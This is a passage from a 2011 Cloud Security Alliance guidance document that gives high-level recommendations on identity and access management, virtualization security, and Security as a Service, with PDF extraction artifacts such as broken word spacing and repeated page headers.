privilege. o The entitlement process should focus on producing entitlement rules that minimize the exposure of Identity or avoid needing to consume Identity altogether. o Attributes that are temporal (such as geolocation) need real- time Attribute checking through a lifetime of transaction to revalidate the entitlement rules. o Entitlement rules should be triggered by a process (or attempt to initiate a process, such as money transfer out of environment). In some environments, best practice would be for the entitlement rules to disable such functions. In others, best practice would be to require additional Identity or Attributes at the point of execution to ensure the Entity is entitled to perform the process. o Implementers should ensure bi -direction al trust to ensure the optimal secure relationship for the transaction. The entitlement process should define this. o The design of the entitlement rules should include delegation133 of access by a secondary Entity to some, but not necessarily all, informati on the primary Entity can access. o The design of entitlement should include the seizing of access (including legal seizure), although the designer of the entitlement rules will need to take into account the jurisdiction of the system, organization, and entities involved. Legal advice must be taken prior to implementing any seizure of access. o Where practical, management interfaces, tools, or other visualization technologies should be used to help in management of Entitlement and to help ensure the interp retation meets the business and/or regulatory (e.g. SOX Segregation- of-Duties) requirements. 12.17.4 Authorization and Access Recommendations o Implementers should ensure services have an import and/or export function into standards such as OASIS XACML. o When using a PDP in a cloud environment, implementers should understand how authorization decision logging would be extracted and/or integrated into an organization logging for a holistic picture of access. o Implementers should ensure existing (legacy) servic es can interface with PEP/PDP’s. o Implementers should ensure any PDP is adequate to properly translate the entitlement rules defined in the entitlement process. 133 Delegation is newly supported in XACML 3.0 SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 153 o Implementers should consider the use of “policy -as-a-service” as the policy server if there is a need for a central policy server (for example for cloud mashups). 12.17.5 Architecture Recommendations o Implementers should ensure any cloud provider offers authorization management PEPs/PDP’s that can be configured with entitlement rules. o Implementers sho uld ensure that all components of the Identity , Entitlement, and Authorization / Access Management (IdEA) work correctly together. o Implementers should ensure that Policy Decision/Enforcement Points (PEP’s/PDP’s) use standard protocols (e.g. XACML) and avoi d (or depreciate) proprietary protocols (e.g. direct web service or other middleware calls). o Implementers should ensure any strong authentication service is OA uth compliant. With an OAuth-compliant solution, organizations can avoid becoming locked into one vendor’s authentication credentials. o Cloud services and applications should support the capability to consume authentication from authoritative sources using SAML. o Implementers should ensure services have an import and/or export function into standards su ch as OASIS XACML. o Implementers should ensure services can interface with PEP/PDPs installed in the cloud infrastructure and with Policy Monitoring Points for incident monitoring/auditing. o Implementers should ensure that logging of authorization decision a nd access actually granted can be logged in a common format using standard secure protocols. 12.17.6 Entitlement Recommendations o Implementers should ensure that each Identity and Attribute defined in the entitlement process matches the level of trust that is needed (or is acceptable) in both the Identity /Attribute itself and also matches the source that provides it. o Implementers should ensure all sources of Identity / Attributes provide org anizational Identity . o Implementers should ensure that Attributes are validated at master / source whenever possible, or as close as possible. o Implementers should ensure Attribute use correctly leads to the right conclusion. (Your context may be different to the originator of the Attribute ) o Implementers should ensure that the Identity / Attribute source has both the standards of data quality and a governance mechanism that meets your needs. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 154 o Consumers should be aware that reputational trust can be an important source of trust. Through the entitlement definition, consumers should be aware of small value transitions, leading to an increase in transactional trust, which may be defrauded on a subsequent large transaction. 12.17.7 Provisioning Recommendations o Providers should understand whether SPML or SCIM could be a viable option for provisioning. o Implementers should follow the rule of least privilege when provisioning an account. In the case of entities such as computing devices, a link to organization al asset registries is desirable. o Most systems and applications have a one -to-one relationship between the user and access and no concept of delegation. o Implementers should ensure that provisioning and de -provisioning are not limited to user identities. Architectures must include authorization for all Entity types. o Implementers should ensure provisioning and de -provisioning are done in real time. o Providers should ensure the maintenance of both Identity and Attributes are critical if entitlement is to be accurate. 12.17.8 Identity Compliance & Audit Recommendations o Implementers should ensure that the applicable logs from the entitlement rules / authorization process are capable of being made available. o Implementers should ensure where logs need to be inte grated into a wider (possibly remote) system (e.g. for wider fraud detection or segregation of duties analysis) to ensure the availability, timeliness, format, and transmission security of the logs is adequate. o When logging access decisions, implementers s hould group the Attributes together with the entitlement logic used at the time of the decision, and the outcome should be recorded. o All cloud participants should remember that Attributes with a temporal component might need to be revalidated, and hence re -logged, during the lifetime of the session. o When logging PII or SPI then, whenever possible, implementers should use Attribute derivation to minimize the exposure of PII or SPI in the logs. o Consumers should be aware that logs containing PII or SPI will be subject to data protection legislation. 12.17.9 Application Design Recommendations o Implementers should use ITU X.805 / 3 -layer definition of User, System, and Management layers to ensure segregation. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 155 o Implementers should minimize the need for Identity and Attributes in an application design. o When possible, design cloud systems to consume Identity and Attributes from external sources. o Implementers should ensure the cloud system supports standard SSO federation formats such as SAML and OAuth. o Implementers should take a holistic approach to security, using Identity and Attributes across all the layers of the system. o Implementers should remember that mutual authentication is critical at all levels, and even more important in cloud environments, just as the cloud environment needs entities and other systems to authenticate who they are, so the cloud system needs to be a ble to authenticate in return. 12.17.10 Data Protection Recommendations o Implementers should minimize the use and storage of PII or SPI. This should be done in the design phase of the entitlement process to ensure only Identities and Attributes essentia l to the process are used. o The implementer should consider the following technologies to minimize exposure of PII or SPI: • Encryption • Tokenization • Homomorphic Encryption134 Refer to Domain 11 “Encryption & Key Management” for more information. o Implementers should consider using best practice approaches to protecting SPI such as using a dual -key approach, one held by the subject (or keyed against their log- in), and one by the system for use with processing. o Implementers should understand how administrator acc ess to PII and SPI might be restricted or stopped. o Implementers should understand how a “ Subject Access Request135” can be dealt with in the legal timeframe mandated especially when the data may be held on a cloud system not owned / managed by the organizati on that received the request. o If there is a need to share PII or SPI, consumers should understand how the approval of the subject of the PII/SPI will be obtained. o Implementers should reduce PII/SPI being stored, especially when not the authoritative source , and only reference those attribute d from the authoritative source rather than store (and maintain) them. o Implementers should understand the processes by which the maintenance of PII/SPI (whether Identity or Attributes) will be handled in a timely manner. 134 At the time of release, Homomorphic Encryption is currently in the early stages of product implementation. 135 A “Subject Access Request” is the legal right in some countr ies to request any PII or SPI held about yourself SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 156 12.17.11 Identity Implementation Recommendations o Implementers should start from the principle of Identity re-use rather than the unique enrollment of new users and/or devices. o Consumers should understand where exis ting sources of Identity can provide sufficient levels of trust and be re - used. o Providers should understand what Attributes about the user and devices can be asserted to a sufficient level of trust for the transaction being undertaken. o When appropriate, co nsumers should allow low risk transactions to take place using low grade level of authentication. Only escalate the Identity required when the transaction value / risk increases. o Providers should provide a critical assessment of the Identity and Attributes being required during the Entitlement Process when considering consumers and consumer devices. o Providers should understand what technologies can be used with consumer devices to increase assurance levels, especially technologies than can be used in the background. o Consumers should understand where the management of consumer devices will not be perf ormed and the level of assurance this provides; this could range from no assurance to good assurance. o Consumers should understand where a level of assurance and legal liability resides should an issue arise with a transaction from a consumer device. 12.18 Requirements  Implementers must design the common service layers to act independently to enable the removal of application silos without sacrificing existing information security policies and procedures.  All cloud participants must respect the integrity of the supply chain and respect existing IAM practices in place. Elements such as privacy, integrity, and audit ability must be respected. Identity integrity and audit must be preserved when moving data off -site and/or decoupling the pillars of the solu tion into web service architecture. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 157 DOMAIN 13 // VIRTUALIZATION Virtualization is one of the key elements of Infrastructure as a Service (IaaS) cloud offerings and private clouds, and it is increasingly used in portions of the back -end of Platform as a Service (PaaS) and SaaS (Software as a Service) providers as well. Virtualization is also, naturally, a key technology for virtual desktops, which are delivered from private or public clouds. The benefits of virtualization are well known, including multi- tenancy, better server utilization, and data center consolidation. Cloud providers can achieve higher density, which translates to better margins, and enterprises can use virtualization to shrink capital expenditure on server hardware as well as increase operational efficiency. However, virtualization brings with it all the security concerns of the operating system running as a guest, together with new security concerns about the hypervisor layer, as well as new virtualization specific threats, inter- VM (Virtual Machine) attacks and blind spots, performance concerns aris ing from CPU and memory used for security, and operational complexity from “VM sprawl” as a security inhibitor. New problems like instant -on gaps, data comingling, the difficulty of encrypting virtual machine images, and residual data destruction are coming into focus. Overview. While there are several forms of virtualization, by far the most common is the virtualized operating system, and that is the focus for this domain. This domain covers these virtualization -related security issues:  Virtual machine guest hardening  Hypervisor security  Inter -VM attacks and blind spots  Performance concerns  Operational com plexity from VM sprawl  Instant -on gaps  Virtual machine encryption  Data comingling  Virtual machine data destruction  Virtual machine image tampering  In-motion virtual machines Virtualization brings with it all the security concerns of the guest operating system, along with new virtualization -specific threats. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 158 13.1 Hypervisor Architecture Concerns 13.1.1 VM Guest Hardening Proper hardening and protection of a virtual machine instance, including firewall (inbound/outbound), HIPS, web application protection, antivirus, file integrity monitoring, and log monitoring can be delivered via software in each guest or using an inline virtual machin e combined with hypervisor -based API’s136. 13.1.2 Hypervisor Security The hypervisor needs to be locked down and hardened using best practices. The primary concerns for enterprises and virtualization users should be the proper management of configuration and operations as well as physical security of the server hosting the hypervisor. 13.1.3 Inter -VM Attacks and Blind Spots Virtualization has a large impact on network security. Virtual machines may communicate with each other over a hardware backplane, rather than a network. As a result, standard network -based security controls are blind to this traffic and cannot perform monitoring or in -line blocking. In -line virtual appliances help to solve this problem; another approach to this issue is hardware -assisted virtualization, which requires API -level integration with hypervisors and virtualization management frameworks. Migration of virtual machines is also a concern. An attack scenario could be the migration of a malicious VM in a trusted zone, and wit h traditional network -based security controls, its misbehavior will not be detected. Installing a full set of security tools on each individual virtual machine is another approach to add a layer of protection. 13.1.4 Performance Concerns Installing secu rity software designed for physical servers onto a virtualized server can result in severe degradation in performance, as some security tasks like antivirus scanning are CPU- intensive. The shared environment in virtualized servers leads to resource content ion. Especially with virtual desktops or high -density environments, security software needs to be virtualization -aware or it needs to perform security functions on a single virtual machine to support other virtual machines. 13.1.5 Operational Complexity from VM S prawl The ease with which VM’s can be provisioned has led to an increase in the number of requests for VM’s in typical enterprises. This creates a larger attack surface and increases the odds of a misconfiguration or operator error opening a security hole. Policy -based management and use of a virtualization management framework is critical. 136 API - Application Program Interface SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 159 13.1.6 Instant -On Gaps The ease with which a virtual machine can be stopped or started, combined with the speed at which threats change, creates a situation where a virtual machine can be securely configured when it is turned off, but by the time it is started again, threats have evolved, leaving the machine vulnerable. Best practices include network -based security and “virtual patching” that inspects tr affic for known attacks before it can get to a newly provisioned or newly started VM. It is also possible to enforce NAC137 (Network Access Control) -like capabilities to isolate stale VM’s until their rules and pattern files are updated and a scan has been run. 13.1.7 VM Encryption Virtual machine images are vulnerable to theft or modification when they are dormant or running. The solution to this problem is to encrypt virtual machine images at all times, but there are performance concerns at this time. F or high security or regulated environments, the performance cost is worth it. Encryption must be combined with administrative controls, DLP, and audit trails to prevent a snapshot of a running VM from “escaping into the wild,” which would give the attacke r access to the data in the VM snapshot. 13.1.8 Data Comingling There is concern that different classes of data (or VM’s hosting different classes of data) may be intermixed on the same physical machine. In PCI138 terms, we refer to this as a mixed -mode d eployment. We recommend using a combination of VLANs, firewalls, and IDS/IPS139 to ensure VM isolation as a mechanism for supporting mixed mode deployments . We also recommend using data categorization and policy -based management (e.g., DLP) to prevent this . In cloud computing environments, all tenants in the multi -tenant virtual environment could potentially share the lowest common denominator of security. 13.1.9 VM Data Destruction When a VM is moved from one physical server to another, enterprises nee d assurances that no bits are left behind on the disk that could be recovered by another user or when the disk is de- provisioned. Zeroing memory/storage or encryption of all data are solutions to this problem. For encryption keys should be stored on a po licy-based key -server away from the virtual environment. In addition, if a VM is migrated while it is running, it may be at risk itself during the migration if encryption, or proper wiping, is not used. 13.1.10 VM Image Tampering Pre-configured virtual appliances and machine images may be misconfigured or may have been tampered with before you start them. 137 NAC - Network Access Control 138 PCI - Payment Card Industry 139 IDS - Intrusion Detection Systems; IPS - Intrusion Prevention Systems SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 160 13.1.11 In- Motion VM The unique ability to move virtual machines from one physical server to another creates a complexity for audits and security mon itoring. In many cases, virtual machines can be relocated to another physical server (regardless of geographic location) without creating an alert or track -able audit trail. 13.2 Recommendations o Customers should identify which types of virtualization the cloud provider uses, if any. o Implementers should consider a zoned approach with production environments separate from test/development and highly sensitive data/workloads. o Implementers should consider performance when testing and installing virtual machine security tools, as performance varies widely. Virtualization -aware server and network security tools are also important to consider. o Customer should evaluate, negotiate, and refine t he licensing agreements with major vendors in virtualized environments. o Implementers should secure each virtualized OS by using hardening software in each guest instance or use an inline virtual machine combined with hypervisor- based API’s140. o Virtualized op erating systems should be augmented by built -in security measures, leveraging third party security technology to provide layered security controls and reduce dependency on the platform provider alone. o Implementers should ensure that secure by default conf igurations follow or exceed available industry baselines. o Implementers should encrypt virtual machine images when not in use. o Implementers should explore the efficacy and feasibility of segregating VM’s and creating security zones by type of usage (e.g., desktop vs. server), production stage (e.g., development, production, and testing), and sensitivity of data on separate physical hardware components such as servers, storage, etc. o Implementers should make sure that the security vulnerability assessment too ls or services cover the virtualization technologies used. o Implementers should consider implementing data automated discovery and labeling solutions (e.g., DLP) organization -wide to augment the data classification and control between virtual machines and environments. o Implementers should consider patching virtual machine images at rest or protect newly spun -up virtual machines until they can be patched. o Implementers should understand which security controls are in place external to the VM’s to protect administrative interfaces (web -based, API’s, etc.) exposed to the customers. 140 API - Application Program Interface SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 161 13.3 Requirements  VM-specific security mechanisms embedded in hypervisor API’s must be utilized to provide granular monitoring of traffic crossing VM backplanes, which will be opaque to traditional network security controls.  Implementers must update the security policy to reflect the new coming security challenges of virtualization.  implem enter s must encrypt data accessed by virtual machines using policy -based key servers that store the keys separately from the virtual machine and the data.  Customers must be aware of multi- tenancy situations with your VM’s where regulatory concerns may warrant segregation.  Users must validate the pedigree and integrity of any VM image or template originating from any third party, or better yet, create your own VM instances.  Virtualized operating systems must include firewall (inbound/outbound), Host Intrusi on Prevention System( HIPS )141, Network Intrusion Prevention System ( NIPS )142, web application protection, antivirus, file integrity monitoring, and log monitoring, etc. Security countermeasures can be delivered via software in each guest virtual instance or b y using an inline virtual machine combined with hypervisor -based API’s.  Providers must clean any backup and failover systems when deleting and wiping the VM images.  Providers must have a reporting mechanism in place that provides evidence of isolation and raises alerts if there is a breach of isolation. 141 HIPS - Host Intrusion Prevention System 142 NIPS - Network Intrusion Prevention System SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 162 DOMAIN 14 // SECURITY AS A SERVICE Cloud Computing represents one of the most significant shifts in information technology the industry has experienced. Reaching the point where computing functions as a utility has great potential, promising expansive innovations. One such innovation is the centralization of security resources. The security industry has recognized the benefits of a standardized security framework for both the providers and consumers. In the context of a cloud service level agreement between providers and consumers, a standardized security framework takes the form of a document that specifies which security services are provided how and where. With the maturation of security offerings based on standard frameworks, cloud consumers have recognized the need to centralize computing resources for providers and consumers. One of the milestones of the maturity of cloud as a platform for business operations is the adoption of Security as a Service (SecaaS) on a global scale and the recognition of how security can be enhanced. The worldwide implementation of security as an outsourced commodity will eventually minimize the disparate variances and security voids. SecaaS is looking at Enterprise s ecurity from the cloud – this is what differentiates it from most of the other work / research on cloud security. Predominantly cloud security discussions have focused on how to migrate to the Cloud and how to ensure Confidentiality, Integrity, Availability and Location are maintained when using the Cloud. SecaaS looks from the other side to secure systems and data in the cloud as well as hybrid and traditional enterprise networks via cloud -based services. These systems may be in the cloud or more traditionally hosted within the customer’s premises. An example of this might be the hosted spam and AV filtering. Overview. This domain will address the following topics :  The Ubiquity of Security as a Service in the Marketplace  Concerns when Implementing Security As a Service  Advantages of Implementing Security As a Service  The Diversity of Services that can be categorized as Security As A Service 14.1 Ubiquity of Security as a Service Customers are both excited and nervous at the prospects of cloud computing. They are excited by the opportunities to reduce capital costs and excited for a chance to divest infrastructure management and focus on core competencies. Most of all, they are excited by the agility offered by the on -demand provisioning of computing resources and the ability to align informatio n technology with business strategies and needs more readily. However, customers are also very concerned about the security risks of cloud computing and the loss of direct control over the security of systems for which they are accountable. Vendors have attempted to satisfy this demand for security by offering security services in a cloud platform, but because these services take many forms and lack transparency regarding deployed security This document corresponds to the Security as a Service publication as well as the CSA Cloud Control Matrix controls. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 163 controls, they have caused market confusion and complicated the se lection process. This has led to limited adoption of cloud -based security services thus far. Security as a Service is experiencing an exponential growth with Gartner predicting that cloud -based security service usage will more than triple in many segments by 2013. Numerous security vendors are now leveraging cloud -based models to deliver security solutions. This shift has occurred for a variety of reasons including greater economies of scale and streamlined delivery mechanisms. Consumers are increasingly faced with evaluating security solutions that do not run on premises. Consumers need to understand the unique, diverse, and pervasive nature of cloud delivered security offerings so that they are in a position to evaluate the offerings and to understand if the offerings will meet their needs. 14.2 Concerns When Implementing Security as a Service Despite the impressive array of benefits provided by cloud security services such as dynamic scalability, virtually unlimited resources, and greater economies o f scale that exist with lower or no cost of ownership, there are concerns about security in the cloud environment. Some security concerns are around compliance, multi -tenancy, and vendor lock-in. While these are being cited as inhibitors to the migration of security into the cloud, these same concerns exist with traditional data centers. Security in the cloud environment is often based on the concern that lack of visibility into security controls implemented means systems are not locked down as well as they are in traditional data centers and that the personnel lack the proper credentials and background checks. Security as a Service providers recognize the fragility of the relationship and often go to extreme lengths to ensure that their environment is l ocked down as much as possible. They often run background checks on their personnel that rival even the toughest government background checks, and they run them often. Physical and personnel security is one of the highest priorities of a Security as a Se rvice provider. Compliance has been raised as a concern given the global regulatory environment. Security as a Service providers have also recognized this and have gone to great efforts to demonstrate their ability to not only meet but exceed these requir ements or to ensure that it is integrated into a client’s network. Security as a Service providers should be cognizant of the geographical and regional regulations that affect the services and their consumers, and this can be built into the offerings and service implementations. The most prudent Security as a Service providers often enlist mediation and legal services to preemptively resolve the regulatory needs of the consumer with the regional regulatory requirements of a jurisdiction. When deploying S ecurity as a Service in a highly regulated industry or environment, agreement on the metrics defining the service level required to achieve regulatory objectives should be negotiated in parallel with the SLA documents defining service. As with any cloud se rvice, multi- tenancy presents concerns of data leakage between virtual instances. While customers are concerned about this, the Security as a Service providers are also highly concerned in light of the litigious nature of modern business. As a result, a m ature offering may take significant precautions to ensure data is highly compartmentalized and any data that is shared is anonymized to protect the identity and source. This applies equally to the data being monitored by the SecaaS provider and to the data held by them such as log and audit data from the client’s systems (both cloud and non -cloud) that they monitor. Another approach to the litigious nature of multi- tenant environments is increased analytics coupled with semantic processing. Resource desc riptors and applied jurimetrics, a process through which legal reasoning is interpreted as high - SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 164 level concepts and expressed in a machine -readable format, may be employed proactively to resolve any legal ambiguity regarding a shared resource. When utilizin g a Security as a Service vendor, an enterprise places some, many or all security logging, compliance, and reporting into the custody of a provider that might sometimes have proprietary standards. In the event the enterprise seeks a new provider, they mus t concern themselves with an orderly transition and somehow find a way for the existing data and log files to be translated correctly and in a forensically sound manner. It is important to note that other than multi -tenancy, each of these concerns is not “cloud unique” but are problems faced by both in -house models and outsourcing models. For this reason, non -proprietary unified security controls, such as those proposed by the Cloud Security Alliance Cloud Control Matrix, are needed to help enterprises an d vendors benefit from the Security as a Service environment. 14.3 Advantages W hen Implementing Security as a Service The potential strategic benefits of leveraging centralized security services are well understood by technical experts who witness the d aily efficiencies gained. Just as cloud computing offers many advantages to both providers and consumers, Cloud Security as a Service offers many significant benefits due to a number of factors, including aggregation of knowledge, broad actionable intelligence, and having a full complement of security professionals on hand at all times, to name a few. Companies that are actively involved in the centralization and standardization of security best practices typically gain significant medium and long -term co st savings and competitive benefits over their rivals in the market due to the efficiencies gained. Security delivered as a service enables the users of security services to measure each vendor by a singular security standard thus better understanding wha t they are getting. 14.3.1 Competitive Advantages Companies that employ third party security service providers gain a competitive edge over their peers due to early access to information helpful in understanding the risk proposition of a given IT strateg y. Furthermore, through the use of a centralized security infrastructure, consumers are better able to stem the inclusion of undesirable content. Companies making use of a third party to report on regulatory compliance and measure obligatory predicates —the inherited legal and contractual obligations connected to identities and data— might result in the avoidance of costly litigation and fines that their competitors are vulnerable to. Once holistic security services are adopted and implemented, providers re ap the competitive benefits of being able to assure their clients that they meet security best practice. Clients making use of these services have the advantage of being able to point to security providers as a part of their compliance framework and to th ird party assurance providers for proof of the achievement of service level agreement obligations. 14.3.2 Improved Vendor Client Relationship There are many clear- cut benefits of security as a service. Transparency provided by a third party assurance s ervice enables customers to understand exactly what they are getting, enabling easier comparison of vendor services and holding vendors to clear and agreed standards. Migration services enable the migration of data and services from one vendor to another. By leveraging migration services, consumers and providers are better enabled to exert market SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 165 pressures on their tertiary suppliers, enhancing the value for the enterprises that consume the services and securing the supply chain. 
 14.4 Diversity of Exi sting Security as a Service Offerings Security as a Service is more than an outsourcing model for security management; it is an essential component in secure business resiliency and continuity. As a business resiliency control, Security as a Service offers a number of benefits. Due to the elastic model of services delivered via the cloud, customers need only pay for the amount they require, such as the number of workstations to be protected and not for the supporting infrastructure and staffing to support the various security services. A security focused provider offers greater security expertise than is typically available within an organization. Finally, outsourcing administrative tasks, such as log management, can save time and money, allowing an organization to devote more resources to its core competencies. Gartner predicts that cloud -based security controls for messaging applications such as anti- malware and anti- spam programs will generate 60 percent of the revenue in that industry sector by 2013. The areas of Cloud Security as a Service that most likely will interest consumers and security professionals are:  Identity Services and Access Management S ervices  Data Loss Prevention (DLP)  Web Security  Email Security  Security Assessments  Intrusion Management, Detection, and Prevention (IDS/IPS)  Security Information and Event Management (SIEM)  Encryption  Business Continuity and Disaster Recovery  Network Security 14.4.1 Identity , Entitlement, and Access Management Services Identity -as-a-service is a generic term that covers one or many of the services that may comprise an identity eco -system, such as Policy Enforcement Points (PEP -as-a-service), Policy Decision Points (PDP -as-a-service), Policy Access Points (PAP -as-a-service), services that provide Entities with Identity, services that provide attributes, and services that provide reputation. All these Identity services can be provided as a single stand -alone service, as a mix -and-match service from multiple providers, or today most probably a hybrid solution of public and private, traditional IAM, and cloud services. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 166 These Identity services should provide controls for identities, access, and privileges management. Identity services need to include people, processes, and systems that are used to mana ge access to enterprise resources by assuring the identity of an entity is verified, then granting the correct level of access based on this assured identity. Audit logs of activities such as successful and failed authentication and access attempts should be managed by the application / solution or the SIEM service. Identity, Entitlement, and Access Management services are a Protective and Preventative technical control. 14.4.2 Data Loss Prevention Monitoring, protecting, and demonstrating protection o f data at rest, in motion, and in use both in the cloud and on premises, Data Loss Prevention (DLP) services offer protection of data usually by running as a client on desktops / servers and enforcing policies around what actions are authorized for particu lar data content. Where these differ from broad rules like ‘no ftp’ or ‘no uploads to web sites’ is the level to which they understand data, e.g., the user can specify no documents with numbers that look like credit cards can be emailed; anything saved to USB storage is automatically encrypted and can only be unencrypted on another office owned machine with a correctly installed DLP client; and only clients with functioning DLP software can open files from the file server. Within the cloud, DLP services may be offered as something that is provided as part of the build such that all servers built for that client get the DLP software installed with an agreed set of rules deployed. In addition, DLP may leverage central ID - or cloud brokers to enforce usage profiles. The ability to leverage a service to monitor and control data flows from an enterprise to the various tiers in the cloud service supply chain may be used as a preventative control for transborder transport, and subsequent loss, of regulated data such as PII143. This DLP offering is a preventative technical control. 14.4.3 Web Security Web Security is real -time protection offered either on premise through software / appliance installation or via the Cloud by proxying or redirecting web traffic t o the cloud provider. This provides an added layer of protection on top of other protection such as anti-malware software to prevent malware from entering the enterprise via activities such as web browsing. Policy rules around types of web access and the time frames when this is allowed can also be enforced via these technologies. Application authorization management can be used to provide an extra level of granular and contextual security enforcement for web applications. Web Security is a protective, d etective, and reactive technical control. 14.4.4 Email Security Email Security should provide control over inbound and outbound email, protecting the organization from phishing, malicious attachments, enforcing corporate polices such as acceptable use and spam prevention, and providing business continuity options. In addition, the solution should allow for policy -based encryption of emails as well as integrating with various email server solutions. Digital signatures enabling identification and non -repudiation are also features of many email security solutions. The Email Security offering is a protective, detective, and reactive technical control. 143 PII-Personally Identifiable Information SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 167 14.4.5 Security Assessment Security assessments are third party or customer- driven audits of cloud serv ices or assessments of on premises systems via cloud provided solutions based on industry standards. Traditional security assessments for infrastructure, applications and compliance audits are well defined and supported by multiple standards such as NIST, ISO, and CIS144. A relatively mature toolset exists, and a number of tools have been implemented using the SecaaS delivery model. In the SecaaS delivery model, subscribers get the typical benefits of this cloud -computing variant —elasticity, negligible setup time, low administration overhead, and pay per use with low initial investments. While not the focus of this effort, additional challenges arise when these tools are used to audit cloud environments. Multiple organizations, including the CSA have been working on the guidelines to help organizations understand the additional challenges:  Virtualization awareness of the tool, frequently necessary for IaaS platform auditing  Support for common web frameworks in PaaS applications  Compliance Controls for Iaas, PaaS, and Saas platforms  Automated incident and breach notification tools for maintenance of cloud supply chain integrity  Standardized questionnaires for XaaS environments, that help address: - What should be tested in a cloud environment? - How does one assure data isolation in a multi- tenant environment? - What should appear in a typical infrastructure vulnerability report? - Is it acceptable to use results provided by cloud provider? 14.4.6 Intrusion Detection/Prevention (IDS/IPS) Intrusion Detect ion/Prevention systems monitor behavior patterns using rule -based, heuristic, or behavioral models to detect anomalies in activity that present risks to the enterprise. Network IDS/IPS have become widely used over the past decade because of the capability to provide a granular view of what is happening within an enterprise network. The IDS/IPS monitors network traffic and compares the activity to a baseline via rule -based engine or statistical analysis. IDS is typically deployed in a passive mode to pass ively monitor sensitive segments of a client’s network whereas the IPS is configured to play an active role in the defense of the clients network. In a traditional infrastructure, this could include De -Militarized Zones ( DMZ ’s)145 segmented by firewalls or routers where corporate Web servers are locate or monitoring connections to an internal database. Within the cloud, IDS systems often focus on virtual infrastructure and cross -hypervisor activity where coordinated attacks can disrupt multiple tenants and c reate system chaos. Intrusion Detection Systems are detective technical controls, and Intrusion Prevention Systems are detective, protective, and reactive technical controls. 144 CIS-Center for Internet Security 145 DMZ -De-Militarized Zone SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 168 14.4.7 Security Information & Event Management (SIEM) Security Information a nd Event Management (SIEM) systems aggregate (via push or pull mechanisms) log and event data from virtual and real networks, applications, and systems. This information is then correlated and analyzed to provide real time reporting and alerting on informa tion or events that may require intervention or other types of responses. The logs are typically collected and archived in a manner that prevents tampering to enable their use as evidence in any investigations or historical reporting. The SIEM Security as a Service offering is a Detective technical control but can be configured to be a protective and reactive technical control. 14.4.8 Encryption Encryption is the process of obfuscating/ encoding data using cryptographic algorithms, the product of which i s encrypted data (referred to as cipher -text). Only the intended recipient or system that is in possession of the correct key can decode (un -encrypt) the cipher -text. Encryption for obfuscation systems typically consist of one or more algorithms that are computationally difficult (or infeasible) to break one or more keys, and the systems, processes, and procedures to manage encryption, decryption, and keys. Each part is effectively useless without the other, e.g., the best algorithm is easy to “ crack ” if an attacker can access the keys due to weak processes. In the case of one -way cryptographic functions, a digest or hash is created instead. One -way cryptographic functions include hashing, digital signatures, certificate generation and renewal, and key exchanges. These systems typically consist of one or more algorithms that are easily replicated but very resistant to forgery, along with the processes and procedures to manage them. Encryption when outsourced to a Security as a Service provider is class ified as a protective and detective technical control. 14.4.9 Business Continuity and Disaster Recovery Business Continuity and Disaster Recovery are the measures designed and implemented to ensure operational resiliency in the event of any service interruptions. They provide flexible and reliable failover and DR solutions for required services in the event of a service interruption, whether natural or man -made. For example, in the event of a disaster scenario at one location, machines at different loc ations may protect applications in that location. This Security as a Service offering is a reactive, protective, and detective technical control. 14.4.10 Network Security Network Security consists of security services that restrict or allocate access and that distribute, monitor, log, and protect the underlying resource services. Architecturally, network security provides services that address security controls at the network in aggregate or those controls specifically addressed at the individual network of each underlying resource. In cloud / virtual environments and hybrid environments, network security is likely to be provided by virtual devices alongside traditional physical devices. Tight integration with the hypervisor to ensure full visibility o f all traffic on the virtual network layer is key. These Network Security offerings include detective, protective, and reactive technical controls. SECURIT Y GUIDANC E FOR CRITICA L AREA S OF FOCU S IN CLOU D COMPUTIN G V3.0 ©201 1 CLOU D SECURIT Y ALLIANC E | 169 14.5 Permissions  Implementers may employ pattern recognition of user activities.  Implementers may employ secure legal mediation of security metrics for SLA146 expectation management  Implementers may employ provide trusted channels for penetration testing. 14.6 Recommendations o Implementers should ensure secure communication channels be tween tenant and consumer. o Providers should supply automated secure and continuous notification throughout the supply chain on a need - to-know basis. o Providers should supply secured logging of internal operations for service level agreement compliance. o Cons umers should request addition of third party audit and SLA mediation services. o All parties should enable Continuous Monitoring of all 